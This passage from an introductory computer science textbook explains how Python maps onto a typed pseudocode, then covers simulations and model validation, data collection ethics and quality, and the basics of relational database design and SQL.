Reading the two versions side by side shows the declared-type idea at work in several places at once. Line 01 names the types Python left unstated: `text` must be a `String` and `times` an `int`. Line 02 creates `result`, so it carries a type, while line 04 reuses it, so it doesn't. Line 03 is a counting loop of the kind explained under "Variable-focused iteration" below, and line 04 uses `concat` where Python used `+`, for the reason given under "Strings." The signature on line 01 states what the function needs, though not what it returns. `repeat(3, "hi")` is wrong, even though it has the right number of arguments, because the types are in the wrong order, and you can see the mistake from the signature alone, without tracing the body.

That is also why signatures matter beyond catching mistakes. A signature with no details about

the body is also what makes a function an abstraction: documentation such as "`round_to(float value, int digits)` returns a `float`" is all a caller needs. The caller can use the function correctly while the body stays hidden, and the body can change without the caller noticing, an idea developed under 0002.d and 0002.e.

Typed arrays

Declared types have their largest consequences in collections of values, and here the gap between Python and the pseudocode is widest. Python's list hides a lot.[13][14] It can hold values of any type, it grows when you append, and you never think about where it lives in memory. An **array** is the structure underneath ideas like this: a row of same-size slots in memory, numbered from `0`. Because every slot is the same size, a computer can find slot `i` immediately by arithmetic, starting at the beginning of the row and moving ahead `i` slots, without looking at any of the slots in between. That only works if every value takes the same amount of space, which is why an array holds one declared type, and why the type is part of its declaration.

```
sizes = [20, 40, 60]
mixed = [1, "two", 3.0]    # allowed in Python
sizes.append(80)
print(len(sizes))
print(sizes[0])
```

```
01 int[] sizes = [20, 40, 60]
02 sizes.append(80)
03 output(sizes.size[1])
04 output(sizes[0])
```

```
>>> 4
>>> 20
```

`int[]` means "array of `int`," the declared type applied to every slot at once, so a declaration such as `int[] v = [1, "two", 3.0]` is invalid even though Python accepts the list `mixed`. Indexing and `.append` look just as they do in Python. Length is the surprise. Note `sizes.size[1]`: an array's `.size` returns a pair, `[rows, columns]`. A one-dimensional array has one row, so `[20, 40, 60]` has a size of `[1, 3]` and its length is `.size[1]`. After line 02 appends `80`, that length is `4`, which is what line 03 outputs. The edges of an array are stricter than a Python list's, too. Using an index that doesn't exist gives `ERROR`, including `-1`, which Python would accept as a way to reach the last item. An array of size `n` has a final index of `n - 1`, a fact that becomes important as soon as a loop walks through the array.

The reason `.size` reports rows and columns becomes clear with a second dimension. Two-dimensional arrays are written with one pair of brackets, by row and then column, where Python indexes a nested list with two pairs. You may have seen this form in NumPy.[15]

[13] MWC1, Iteration: lists, `for` loops, and `range`.
[14] MWC1, Weather: dictionaries, web APIs, and distributed services.
[15] MWC2, Classification: Neural: neural networks, backpropagation, and NumPy-style array indexing.

```
grid = [[1, 2, 3], [4, 5, 6]]
print(grid[1][2])
```

```
01 int[][] grid = [[1, 2, 3], [4, 5, 6]]
02 output(grid[1, 2])
03 output(grid.size)
```

```
>>> 6
>>> [2,3]
```

The declaration `int[][]` has one pair of brackets for each dimension. `grid[1, 2]` is row `1`, column `2`, which, counting from `0`, is the third value in the second row, `6`. The grid has two rows of three values each, so its size is `[2,3]`.

Arrays come with methods for changing and searching them. Some match Python exactly, and others differ in what they return or in where their boundaries fall.

Method	Effect	Python equivalent
`a.append(x)`	Adds to the end	`a.append(x)`
`a.insert(i, x)`	Adds at index `i`, which must already exist, shifting later values up	`a.insert(i, x)`
`a.del(i)`	Removes the value at index `i`, shifting later values down	`del a[i]`
`a.search(x)`	Returns `[row, column]` of the first match, or `NULL`	`a.index(x)`
`a.slice(r1, r2, c1, c2)`	Returns a part; bounds are inclusive	`a[c1:c2 + 1]`, since Python excludes the end

Each difference follows from something above. Because `.insert` needs an index that already exists, it can't add past the end, which is the job of `.append`. Because an array may have two dimensions, `.search` reports a position as a `[row, column]` pair, and when nothing matches it returns `NULL` where Python's `.index` stops with an error. Because `.slice` includes both of its bounds, a Python slice covering the same values needs a stop one higher.

The shifting done by `.insert` and `.del` matters most inside a loop, because a loop moves through positions while these methods move values between positions. Deleting shifts later values, so a forward loop that deletes as it goes skips whatever moves into the current position: after the value at index `2` is deleted, the value that was at `3` now sits at `2`, and the loop moves on to `3` without ever examining it. Appending inside a loop whose condition checks `.size` can make the loop run forever, since its stopping point keeps moving. Both problems come from counting through positions, and counting through positions is how every loop over an array works in the pseudocode, which brings us to loops.

Variable-focused iteration

This is the biggest change. In Python, a `for` loop hands you each item, and `range` hides the counting.[16]

```
for size in sizes:
    print(size)

for i in range(100):
    print(i)
```

The typed `for` loop has no "for each." It is built around a counter variable instead, and like any other variable, the counter is declared with a type, which is why the header begins `int i`. The header states three things in parentheses: where the variable starts, the condition for continuing, and how the variable changes.

```
01 for (int i = 0; i < 100; i = i + 1)
02   output(i)
```

The three parts run at different times. The first, `int i = 0`, runs once, before anything else. The second, `i < 100`, is checked before each pass, and the body runs only while it is `TRUE`. The third, `i = i + 1`, runs after each pass, and then the condition is checked again. Many languages write the update as `i++` or `i += 1`, so you will often see `for (int i = 0; i < 100; i++)`. It means the same thing. This guide writes it out in full.

Since the three parts are ordinary statements about a variable, they can be pulled apart onto separate lines. The loop is exactly equivalent to this `while` loop:

```
01 int i = 0
02 while (i < 100)
03   output(i)
04   i = i + 1
```

Rewriting a header this way is a dependable method for working out what an unfamiliar `for` loop does, because it puts each part where it actually runs.

To go through an array, loop over positions rather than items, and use the position to get each item. This is where the array and the loop meet: the counter is an `int` index, the condition compares it with the length `.size[1]` from the previous subsection, and `sizes[i]` retrieves the item at that position.

```
for size in sizes:
    print(size)
```

```
01 for (int i = 0; i < sizes.size[1]; i = i + 1)
02   output(sizes[i])
```

[16] MWC1, Iteration: lists, `for` loops, and `range`.

Python's `range` forms translate directly. Note that `<` matches `range`'s excluded stop: `range(5)` stops before `5`, and so does a loop that continues while `i < 5`. The step becomes the update, and counting down means reversing the comparison as well as the step.

Python	Pseudocode header	Values
`range(5)`	`for (int i = 0; i < 5; i = i + 1)`	`0 1 2 3 4`
`range(1, 6)`	`for (int i = 1; i < 6; i = i + 1)`	`1 2 3 4 5`
`range(0, 10, 2)`	`for (int i = 0; i < 10; i = i + 2)`	`0 2 4 6 8`
`range(5, 0, -1)`	`for (int i = 5; i > 0; i = i - 1)`	`5 4 3 2 1`

Writing the start, the condition, and the update yourself gives you control over each, and also a chance to get each wrong. Almost all errors with this loop are at its boundaries, so check four things on every loop you read. The first is whether the condition uses `<` or `<=`. `i <= 5` includes `5`, so `for (int i = 0; i <= a.size[1]; i = i + 1)` reads past the end of `a`: when `i` reaches `a.size[1]` it is one beyond the final index, `n - 1`, so a loop that outputs `a[i]` prints every value and then `ERROR`. The second is where the loop starts, since starting at `1` skips `a[0]`. The third is whether the update is right: if `i` never approaches the stopping point, the loop never ends. The fourth is whether the body reaches ahead of the counter. `a[i + 1]` needs `i` to stop at `a.size[1] - 2`, one earlier than usual, so that `i + 1` is still a valid index.

Because the loop is counter-based, it can do things that are awkward with `for x in xs`: compare neighbors, go backward, or skip by twos. Comparing neighbors is exactly the situation in which the fourth check applies. Backward loops are also the safe way to delete values while looping, solving the problem described under "Typed arrays": deleting at index `i` shifts only the values after `i`, and a backward loop has already visited those. One more difference concerns what is left when the loop ends. Depending on the language, a variable declared in the header may not exist after the loop, whereas Python keeps it. This is an instance of scope, which returns under "Functions, parameters, and scope."

Since every step of the loop is written out, you can follow it by hand. **Tracing** means running a program by hand, keeping a table of each variable after each pass. It is the core skill for reading code, and it makes the boundary checks concrete, because the table shows the exact value of the counter at which the loop stops.

```
01 int total = 0
02 for (int i = 2; i < 10; i = i + 3)
03   total = total + i
04 output(total)
```

`i`	`i < 10`?	`total` after line 03
2	yes	2
5	yes	7
8	yes	15
11	no	loop ends

The output is `>>> 15`. The last row is the one to watch. The counter does reach `11`, but the condition is checked before the body runs, so `11` is never added to `total`.

Operators

With types, arrays, and loops in place, the remaining differences are mostly notation, and most operators look the way you would expect. A few that look familiar follow different rules, though, and several of those rules come back to declared types. The table collects the differences, and the paragraphs after it explain the ones most likely to change what a line computes.

Python	Pseudocode	What changes
`2 ** 3`	`2 ^ 3`	`^` is always an exponent.
`7 / 2` is `3.5`	`7 / 2`	Two `int` values give a *rounded* `int`, so `8 / 3` is `3`. Python's `//` rounds down instead.
`17 % 5`	`17 % 5`	The same: the remainder, `2`.
`and`, `or`, `not x`	`AND`, `OR`, `NOT(x)`	Capitals, and `NOT` takes parentheses.
`a == b`, `a != b`	The same	Works for any type, as long as the types match. Comparing an `int` and a `String` gives `ERROR`.
`1 < x < 9`	`(1 < x) AND (x < 9)`	Chained comparisons don't exist.
`"a" < "b"`	Not defined	`<`, `>`, `<=`, `>=` are for matched `int` or `float` pairs only.

The exponent is a change of symbol only, though one to watch, since `^` means exclusive or in Python. Division is a change of meaning, and it follows from declared types: two `int` values must produce an `int`, so the fractional part has to go somewhere. The pseudocode rounds it, so `8 / 3`, which is about `2.67`, gives `3`, whereas Python's `8 // 3` rounds down and gives `2`. The conventions don't say how a tie such as `7 / 2` is rounded. Types also explain the comparison rows. Equality works for any type because any two values of the same type can be compared, while ordering with `<` and `>` is defined only for numbers. A comparison between different types gives `ERROR`, just as assigning a `String` to an `int` variable does.

Arithmetic follows the usual order: parentheses, exponents, multiplication and division, addition and subtraction. `a + b + c / 3` divides only `c`, so an average of three values needs parentheses around the sum.

Logical operators are where the pseudocode departs most from Python. **`AND` and `OR` run left to right.** Parentheses come first, and then there is no precedence between them. This differs from Python, where `and` comes first.

```
True or False and False    # True in Python
```

```
01 output(TRUE OR FALSE AND FALSE)
```

```
>>> FALSE
```

`TRUE OR FALSE` is `TRUE`, and then `TRUE AND FALSE` is `FALSE`. Python, by contrast, evaluates `False and False` first and gets `True or False`, which is `True`. Use parentheses to say what you mean, and when you read someone else's expression, work strictly from left to right. The same care applies to choosing between the two operators. A value within a range is tested with `AND`, as in `(x >= 1) AND (x <= 9)`; `OR` would be true for nearly every value, since every number is either at least `1` or at most `9`.

= assigns and == compares. `if (x = 5)` is an error, and `x = x + 1` isn't an equation: it computes the right side and stores the result.

Conditionals

Comparisons and logical operators produce the `TRUE` and `FALSE` values that conditionals test, and the conditional statement itself changes only slightly.

```
if score >= 90:
    grade = "A"
elif score >= 80:
    grade = "B"
else:
    grade = "C"
```

```
01 if (score >= 90)
02   grade = "A"
03 elseif (score >= 80)
04   grade = "B"
05 else
06   grade = "C"
```

Conditions go in parentheses, there are no colons, and `elif` becomes `elseif`. Indentation still defines blocks, just as in Python. The logic of a chain is the same as Python's, and it rewards careful reading. Only the first true branch in a chain runs, so order matters: testing `score >= 60` first would give everyone above `60` the lowest passing grade, because a score of `95` would match that test and never reach the others. Separate `if` statements are each checked, so if the two tests above were written as separate `if` statements, a score of `95` would set `grade` to `"A"` and then overwrite it with `"B"`.

Strings

Strings change in three ways, and each echoes something seen earlier: an attribute in place of a function, as with an array's `.size`; an inclusive stop index, as with `.slice`; and an operator restricted by type.

Python	Pseudocode	What changes
`len(text)`	`text.len`	An attribute, so no parentheses.
`text[0:4]`	`text.sub(0, 3)`	The stop index is *included*: `"They went".sub(0, 3)` is `"They"`.
`"a" + "b"`	`concat("a", "b")`	`+` is for numbers only. `concat` takes any number of strings.

To translate a Python slice, then, subtract one from its stop. The published description of `.sub` is itself inconsistent on this point: it calls the substring "exclusive," but its own example, `"They went away.".sub(0, 4)`, gives `"They "`, which includes index 4. Follow the example, and treat the stop index as included. And because `+` is reserved for numbers, joining strings always goes through `concat`, which can join several at once, as in `concat("Good", " ", "morning")`.

Maps

Arrays apply a declared type to every slot, and maps apply the same idea to pairs. A Python dictionary[17] becomes a **map** or **associative array**, which stores values under keys instead of numbered positions. It declares the key type and then the value type, all keys share one type, and all values share one type. Curly braces are used for access, as well as for writing the map's contents.

```
scores = {"Ana": 8, "Ben": 6}
scores["Cy"] = 9
print(scores["Ana"])
print(len(scores))
```

```
01 String int{} scores = {"Ana": 8, "Ben": 6}
02 scores{"Cy"} = 9
03 output(scores{"Ana"})
04 output(scores.size)
```

```
>>> 8
>>> 3
```

Keys are unique, and assigning to a new key adds a pair, which is why line 02 raises the size from 2 to 3. A map's `.size` is a single `int`, unlike an array's pair, since a map has no rows or columns to report. `.remove(key)` deletes a pair, and `.search(value)` returns an array of matching keys. It returns an array because, although keys are unique, several keys can share a value: in `scores`, two students could both have `8`. Declared types also limit what a map can hold. A mixed dictionary like

[17] MWC1, Weather: dictionaries, web APIs, and distributed services.

a game's `state`[18] isn't possible, because its values would have different types. Reading a key that doesn't exist is an error.

Functions, parameters, and scope

Type signatures showed how a function is called. What happens to values as they pass into a function and back out works the same way it does in Python.

```
def add_tax(price):
    price = price + 5
    return price

cost = 20
add_tax(cost)
print(cost)
cost = add_tax(cost)
print(cost)
```

```
01 function add_tax(int price)
02   price = price + 5
03   return price
04
05 int cost = 20
06 add_tax(cost)
07 output(cost)
08 cost = add_tax(cost)
09 output(cost)
```

```
>>> 20
>>> 25
```

As in Python,[19][20] changing a parameter doesn't change the caller's variable. The parameter `price` is a separate variable that starts with the value of `cost`, so line 02 changes `price` and leaves `cost` alone. Line 06 calls the function but throws away its return value, so line 07 still outputs `20`. Only line 08, which stores the returned value in `cost`, produces `25`. This rests on the difference between `output()` and `return`: `output` shows a value, while `return` hands it back to the caller, which can store it, use it, or ignore it. A function with no `return` is a different matter. Python gives such a function the value `None`,[21] but the pseudocode conventions don't say what it gives, so code should never rely on the result of one.

The separation between `price` and `cost` is one case of a general rule. A variable declared inside a

[18] MWC1, Tic Tac Toe: game state stored in a dictionary.
[19] MWC1, Names: variables, values, and functions with arguments.
[20] MWC1, Scatter: top-down and bottom-up problem solving, conditionals, return values, minimums and maximums, and plots.
[21] MWC1, Scatter: top-down and bottom-up problem solving, conditionals, return values, minimums and maximums, and plots.

function or block has **scope** limited to it, so it isn't available outside it, and a function's local variable is created anew on each call, so it keeps nothing from the call before. The loop counter that may vanish after its loop, described under "Variable-focused iteration," follows the same rule, since the loop is a block.

Objects and classes

Objects extend declared types one step further. Dot notation is the same as in Python.[22] Creating an object often looks like a typed declaration, with the class name in the position of the type, so a class works as a type beyond the five basic ones. Attributes and methods work as you would expect. Classes defined by a program, or provided by a library, are explained in the code that uses them, often in a comment.

```
d = Die()
d.roll()
print(d.face)
```

```
01 Die d = Die()
02 d.roll()
03 output(d.face)
```

Methods can also be called on a class, as in `Math.random()`, when a library documents them that way.[23] The ideas behind classes, such as encapsulation and inheritance, are taken up under 0002.l.

Input, output, comments, and missing values

The last group of differences concerns how a program exchanges values with the outside world, how it carries notes for human readers, and how it signals that something is missing or has gone wrong.

Python	Pseudocode
`print(x)`	`output(x)`
`input()`	`input()`, which can be assigned to a typed variable, as in `int i = input()`
`# comment`	`/* comment */`, which may span lines
`type(x)`	`type(x)`, which gives the type's name as a `String`
`None`	`NULL`, as when a search finds nothing
An exception	`ERROR`, for invalid or undefined values such as dividing by zero

The last two rows are worth keeping apart, because they mean different things. `NULL` is an ordinary result that means "nothing here," as when `.search` finds no match, and a program can check for it and carry on. `ERROR` means that an operation itself was invalid, as with dividing by zero, an index past the end of an array, a missing map key, or a comparison between mismatched types. Many

[22] MWC1, Dice: classes, instances, randomness, and repeated runs.
[23] MWC2, Sub Rosa: public and private keys in a messaging system.

of the rules in this section, from declared types to loop boundaries, are ways of predicting where `ERROR` will occur.

Code also comes with a few layout conventions. A blank numbered line or a comment such as `/* execute selected code here */` marks a slot where code belongs. A long line may wrap onto the next line number without being a new statement.

The conventions don't cover everything a program might contain. They don't define class definitions or class attributes, the classes and methods of a library, the methods of a hypothetical robot such as `r.forward(2)`, or `break`, and they don't spell out scope rules or say whether negative indexes work. Code that uses any of these explains it, usually in the setup or a comment, so read that setup carefully, and don't assume that Python's behavior carries over: Python keeps a loop variable after the loop ends and accepts `numbers[-1]`, and neither can be counted on here. Code written by others doesn't always follow the conventions exactly, either. You may see `else if` for `elseif`, `str` or `string` for `String`, `.size` used as a simple length, a declaration with no value, `=` inside a condition, uneven indentation, inconsistent capitalization of a name, or a stray symbol. Treat such differences as noise unless the question turns on them.

If you remember only a few things from this section, make them the rules that change what a line computes: `^` is an exponent, `>>>` marks output, `AND` and `OR` run strictly left to right, two `int` values divide to a rounded `int`, an array's `.size` is a pair while a map's is a single number, every loop boundary deserves a check of `<` against `<=`, and declared types are a tool for reasoning, since a line that mixes an `int` and a `float` is often the point of the code. These conventions are the notation for the code that appears throughout the rest of this competency. The sections that follow turn from how code is written to what programs are for and how they are designed, beginning with programs whose purpose is to represent something outside the computer.

- **declared type**: the type stated when a variable is created; the variable can hold only values of that type
- **type signature**: a function header that lists the type of each parameter, showing how to call the function without reading its body
- **array**: a numbered row of same-size slots holding values of one declared type, indexed from `0`
- **two-dimensional array**: an array indexed by row and then column, as in `grid[1, 2]`
- **map** (associative array): a collection of key-value pairs with unique keys, one key type, and one value type
- **tracing**: running a program by hand, recording each variable's value after each step
- **scope**: the part of a program in which a variable exists, limited to the function or block that declares it
- **`NULL`**: a value meaning that nothing was found
- **`ERROR`**: the result of an invalid or undefined operation

0002.a Models and simulations

With typed pseudocode in hand, you can read what a program does. One of the most common things programs do is stand in for some part of the world, so that we can ask questions about it. This section follows that work through its three stages: building a model, which means deciding what to leave out; running it, which often involves many interacting parts and some randomness; and judging it, which means deciding how far its answers can be trusted. Most mistaken claims about models come from skipping one of these stages.

Building a model

A **model** is a simplified representation of a system that keeps the features relevant to a question. A **simulation** runs a model over time, so the model is the description and the simulation is that description in motion. Simulations are valuable when the real thing would be too costly or dangerous to test directly. City planners can try out a bus lane in software without closing a street, and engineers can run virtual crashes of many car designs before destroying a single prototype. A simulation differs from a database, which stores past observations, because it generates behavior from rules. It also differs from an experiment, because nothing in the real system has been measured. This is why a simulation's results still need validation against reality, and why a virtual crash test can narrow down the designs without making physical testing unnecessary.[24]

Simplifying is what makes a model a model, so every model leaves out details. A simulation of how a disease spreads through a school needs each student's contacts and infection status and has no use for hair color. Adding detail may increase realism, but it also raises computational cost, sometimes steeply, and that cost can limit what is feasible. Weather forecasting shows the trade-off clearly: a grid of cells 1 kilometer wide captures local storms that a 25-kilometer grid misses, yet a daily forecast may have to use the coarser grid, since a forecast that arrives after the weather has happened helps no one. Removing detail has its own danger, because the detail removed might be the one that matters. A simulation of fire spreading through a forest can reasonably replace individual leaves with cells of trees that share a fuel level, but it can't discard the distance between trees. More detail isn't automatically better, and neither is less. A detail belongs in a model when it matters to the goal and is worth its cost, so a model should be judged by whether it answers its question well enough. A simple enrollment forecast that ignores some factors isn't useless for that reason alone.

Running a model

Some systems are hard to describe from above with a single equation, because what happens overall depends on many individuals reacting to one another. An **agent-based model** takes the opposite approach. It gives many simple agents local rules, runs them together, and lets large-scale patterns appear. Those patterns can be ones that no rule states, which is called **emergence**.[25] Simulated

[24] MWC2, Estimation: fitting models and overfitting.
[25] LAI 516, Media: NetLogo: agent-based modeling.

drivers who only speed up when the road is clear and slow down near another car produce traffic jams that travel backward along the road, although no rule mentions congestion. Birds that respond only to their neighbors form flocks, and ants that follow and reinforce scent trails form a main path to food. No central agent directs any of this, and no ant has calculated the route. Emergence also warns against reading a group's pattern back onto its members. In a housing model in which each household wants only a few similar neighbors, neighborhoods can become far more segregated than any household preferred, so the outcome doesn't show that households want extreme segregation.

Agents and other simulated events often need to behave unpredictably, as when customers arrive at random times. Computers supply this with **pseudorandom numbers**, which look random but are produced by a deterministic algorithm from a starting value called a **seed**. Because the values differ from run to run, two students running the same disease simulation can get different peak infection counts without either program having an error. One run is a single sample of what could happen, so simulations are run repeatedly, and the results describe a range of likely outcomes. Report the range, and not the result of one run. Fixing the seed makes a run reproducible, which is useful for debugging, since you can recreate exactly what went wrong. It doesn't remove uncertainty about the real system or make the predictions more accurate. Probabilities from a simulation also hold only under the model's assumptions.[26] If a bridge fails in about 200 of 10,000 simulated runs, the 2% figure describes the model and doesn't mean that the real bridge will fail in exactly 2 of every 100 uses.

Judging a model

That caution about assumptions leads to the larger question of when a model's output should be believed. The main test is to try the model on data not used to build it. A model can fit existing data so closely, noise included, that it fails to predict anything new, a problem called **overfitting**.[27] A model that matches last year's course grades nearly perfectly and then does poorly on this year's students has probably done exactly this. High accuracy on the training data therefore proves little, and a claim of 99% accuracy measured on the data used to build a model doesn't show how it will perform on new cases. The standard practice is to build on part of the data and evaluate on the rest: with records for 1,000 patients, build on 800 and evaluate on the other 200. A climate model built on data through 2015 earns more confidence by predicting 2016 onward than by any amount of adjustment, and adding variables until it matches the past exactly only increases the risk of overfitting. Rerunning a model on its original data checks only that it is repeatable, and printing more decimal places adds precision without adding validity.

Even a well-validated model has limits on where it applies, because it knows only the conditions it was built from. **Extrapolation** means predicting beyond the range of the data used to build a model, and it is unreliable because the observed pattern may not continue.[28] A model of height built on children from 5 to 12 works well within those ages and gives an absurd height for an adult.

[26] MWC1, Dice: classes, instances, randomness, and repeated runs.
[27] MWC2, Classification: Features: train/test splits, evaluation, feature engineering, and data cleaning.
[28] MWC2, Estimation: fitting models and overfitting.

A straight line through ten years of rising enrollment says little about enrollment 50 years ahead. The range can be one of conditions as well as numbers: a model of a town's summer electricity use that is applied to winter has also stepped outside its data. **Interpolation**, by contrast, stays within the range of the data, so it is generally the safer kind of prediction.

Every stage of this work has depended on data, whether to build a model or to check it. The next section turns to how that data is gathered in the first place.

- **model**: a simplified representation of a system that keeps the features relevant to a question
- **simulation**: a model run over time
- **agent-based model**: a model in which many simple agents follow local rules
- **emergence**: a large-scale pattern that arises from local interactions without any rule stating it
- **pseudorandom numbers**: numbers that appear random but come from a deterministic algorithm
- **seed**: the starting value for a pseudorandom sequence; fixing it makes a run reproducible
- **overfitting**: fitting existing data so closely, noise included, that prediction fails
- **extrapolation**: predicting beyond the range of the data used to build a model
- **interpolation**: predicting within the range of that data

Practice questions: 0002.a, page 300.

0002.b Data collection

Whether data will feed a model or answer a simpler question, its value is largely settled by the time it has been collected, because analysis can't repair what was never gathered properly. Data collection is best understood as a set of decisions made before any data exists, followed by responsibilities that continue after it does. This section begins with the plan that records those decisions. It then asks who the data represents, looks at three tools for gathering it (sensors, surveys, and web scrapers), and ends with what collectors owe the people in the data and how to judge what they have.

The plan: data collection protocols

A **data collection protocol** states what is being collected, from whom, how it will be stored, who it will be shared with, and why. It is decided in advance, so that collection is consistent, ethical, and repeatable.[29] Each of those qualities answers a different problem. Consistency matters because two teachers measuring stream temperature can't combine their readings if one records Celsius at noon and the other Fahrenheit whenever convenient, so agreeing on units and times is what makes the data comparable. Ethics matters because a team that never settled where responses would be kept may find them on personal laptops and in the hands of a club. Repeatability matters because another researcher can repeat a study only if the questions, recruitment steps, storage plan, and intended uses are written down. A protocol's questions are different from the questions of later analysis, such as an average or a correlation, since a protocol asks things like who will have access.

[29] MWC1, Argument project: collecting and using data to make a claim.

Stating a purpose also creates an obligation, so new uses should be disclosed. A district that collects students' web activity for safety and later uses it to evaluate teachers has gone beyond what it told families.

Who the data represents

One decision in the protocol, from whom to collect, deserves special attention, because a mistake here undermines every conclusion and can't be seen in the data itself. **Sampling bias** occurs when the people or items sampled don't represent the population of interest. Polling the jazz band tells you about the jazz band and can mislead you about a whole school's views on a later start time. Online surveys miss people who rarely go online, even when those are the people a question concerns most, as when older residents are a library's most frequent patrons but rarely visit the town's website. Voluntary responses overrepresent strong opinions, which is why reviews pile up at one star and five stars. People who choose to use a fitness app may be more active than the population as a whole, so their step counts say little about the country. Collecting more of the same responses, or leaving a survey open longer, doesn't address the problem, because it doesn't change who is responding. What helps is reaching underrepresented groups through other channels, such as paper forms in the library, and using a random procedure to choose whom to ask where that is possible.

Three tools for gathering data

Knowing whom or what to sample leaves the question of how, and the tools differ in what can go wrong with them. **Sensors** convert physical conditions to digital data at a **sampling rate**, which is how often a measurement is recorded. The rate must be frequent enough to capture the change of interest without creating needless data, so it depends on how quickly the thing you care about changes. Sampling too slowly misses brief events: an hourly reading of a cooling cup of coffee misses most of its rapid early change, a once-per-second sensor can't follow a ball that bounces twice per second, and detecting an irregular heartbeat requires far more frequent samples than reporting a weekly average. Sampling too fast has the opposite cost, as when a soil moisture sensor records every second and fills its storage with readings of something that changes over hours. Precision and units are separate from rate. A sensor that displays more digits still misses what happens between its readings.

Surveys collect from people, and the weak point moves from timing to wording. Questions should be clear and unbiased. A **leading question** pushes toward an answer ("Do you agree that our excellent new schedule is better than the confusing old one?"), and a **double-barreled question** asks two things at once ("How satisfied are you with the teachers and the bus service?"), so you can't tell which part a respondent is answering. The remedy for the second is to ask two questions. Answer choices should be mutually exclusive and cover all possibilities, which "1-2 hours," "2-3 hours," and "more than 3 hours" fail to do, since the ranges overlap and nothing fits less than an hour. A digital survey can also restrict answer formats with **validation**, checks on data types and ranges. A free-text age field collects "15," "fifteen," and "almost 16," whereas a field limited to whole numbers in a reasonable range keeps the data accurate and usable.

Web scrapers are programs that extract data from web pages. They gather what already exists, so the questions are about permission and fragility. Responsible use means checking a site's terms of service and its `robots.txt` file, a file in which a site's owner states limits on automated access, and limiting the rate of requests so that the site isn't overloaded. Visible doesn't mean permitted: a directory you can read in a browser may still be off limits to automated collection. The `robots.txt` file states those limits and doesn't enforce them, since it encrypts nothing and it is up to the scraper to respect it. Scrapers also break when a page's underlying structure changes, even if the page looks the same to human visitors. For these reasons, a documented **API** (an interface the site provides for programs) is preferable where one exists, because it offers a supported, structured form of the data.[30] An API still comes with terms, and it doesn't guarantee that the data is free of errors.

Protecting and judging what you have

Once data has been collected, the collector becomes responsible for it. **Data stewardship** means protecting data in proportion to its sensitivity, limiting it to authorized people, de-identifying it where possible, and deleting it, according to a policy, when it is no longer needed. Proportion means that a club's health notes need stricter limits than its T-shirt sizes, even in the same data set. Limiting data means sharing only the fields a partner needs, with identifying information removed, since keeping data "just in case" carries risk with no benefit. De-identifying is harder than removing names. A roster stored beside "anonymous" responses defeats anonymity, and **quasi-identifiers** such as birth date and ZIP code can re-identify people when combined, especially in a small data set.

The last question to ask is whether the data is any good, and it has several parts, because data can succeed on one and fail on another. **Accuracy** asks whether the values are correct. **Completeness** asks whether the needed values are present, which is the problem if program records are missing for half of a district's schools. **Consistency** asks whether the same thing is always represented the same way, so "NY," "N.Y.," and "New York" are a consistency problem even though all three are accurate. **Timeliness** asks whether the data is current: housing prices that were correct five years ago are accurate as of that date and of little use to a buyer today. All four are judged against a purpose. A national census file may be excellent and still can't tell you how attendance changed week by week at one school, so excellent data can be wrong for your question.

Problems with consistency and completeness don't have to end a project, since many of them can be repaired, and repairing data is one of the jobs of the tools in the next section.

- **data collection protocol**: an advance plan for what is collected, from whom, how it is stored, who it is shared with, and why
- **sampling bias**: a sample that doesn't represent the population of interest
- **sampling rate**: how often a sensor records a measurement
- **leading question**: a question that pushes respondents toward an answer
- **double-barreled question**: a question that asks about two things at once

[30] MWC1, Weather: dictionaries, web APIs, and distributed services.

- **validation**: checking the type and range of what is entered
- **web scraper**: a program that extracts data from web pages
- **`robots.txt`**: a file stating a site owner's limits on automated access
- **data stewardship**: protecting data in proportion to its sensitivity, limiting access, de-identifying, and deleting when no longer needed
- **quasi-identifiers**: details such as birth date and ZIP code that can identify people when combined
- **accuracy, completeness, consistency, timeliness**: the dimensions of data quality: values are correct, present, uniformly represented, and current

Practice questions: 0002.b, page 314.

0002.c Tools for data

Collected data still has to be kept somewhere, prepared, and shown to someone, and those three jobs organize this section. It starts with storage in a relational database, where the design of the tables determines what can be asked later. It then turns to the work done on data, from simple operations like sorting to cleaning and transforming it, and then to charts, which communicate results and can also distort them. Spreadsheets and databases can both do much of this work, so the section closes by asking when each one fits.

Storing data: tables, keys, and relationships

A **relational database** stores data in tables. Each row is a **record**, representing one entity, such as one form submission or one copy of a book, and each column is a **field**, holding one attribute of every record, such as the email column of a sign-up table.[31] Two copies of the same novel are two records, even when most of their values match. Deciding what counts as one entity is the heart of table design, and repeating columns are the usual sign of a poor decision. If a `Reservations` table has `guest1`, `guest2`, and `guest3`, every additional booking calls for a new column, which signals that the guests should be separate records in a related table. A gradebook moved into a database works the same way: with one record per student-assignment grade, a new assignment adds records and leaves the table's structure alone.

Once data is spread across tables, the tables need a way to refer to one another, and keys provide it. A **primary key** uniquely identifies each record in its table, so every record needs one and no two records can share one. Because its values must be unique, last names make poor keys: two students who share a name couldn't both be stored. A **foreign key** is a field that refers to a primary key in another table, creating a relationship between them. The same field can play both roles in different places, as `student_id` is the primary key of `Students` and a foreign key in `Absences`, where one student can appear many times. **Referential integrity** means that foreign keys match existing records, so a `book_id` in a `Loans` table that matches nothing in `Books` violates it.

[31] MWC2, Riddle Server: views, models, fields, subclasses, and an API specification.

Where the foreign key goes depends on how the two kinds of entity are related, and there are three cases. In a **one-to-one** relationship, such as a person and a passport, each record on one side matches at most one on the other. In a **one-to-many** relationship, such as an author and books or a customer and orders, the foreign key goes on the "many" side: each book names its one author, because an author can't hold a list of book IDs in a single field. In a **many-to-many** relationship, such as students and classes, neither side can hold the key, since each record would need many values. The usual design adds a third **junction table** holding pairs of foreign keys, one row per pairing. An `Appointments` table holding `patient_id` and `doctor_id` links patients and doctors this way. Storing several values in one text field, such as `"Math, Art, Music"`, hides the relationship and makes it hard to reliably find all students in a given class.

With the structure in place, **Structured Query Language (SQL)** is how you retrieve and change the data. SQL is declarative, meaning that you state what you want and the database works out how to find it, an idea 0002.g develops. A simple query chooses a column, names a table, and filters rows:

```
SELECT title FROM Books WHERE price < 10
```

This returns the title of each book whose price is below 10. The clause order is fixed: `SELECT`, `FROM`, `WHERE`, and then `ORDER BY` with `DESC` for highest first or `ASC` for lowest first, as in `SELECT city FROM Trips WHERE miles > 100 ORDER BY miles DESC`. `WHERE` matters just as much when changing data. `UPDATE Scores SET points = 0` changes every row in the table, because without a `WHERE` clause nothing limits it.

Working with data: finding, cleaning, and transforming

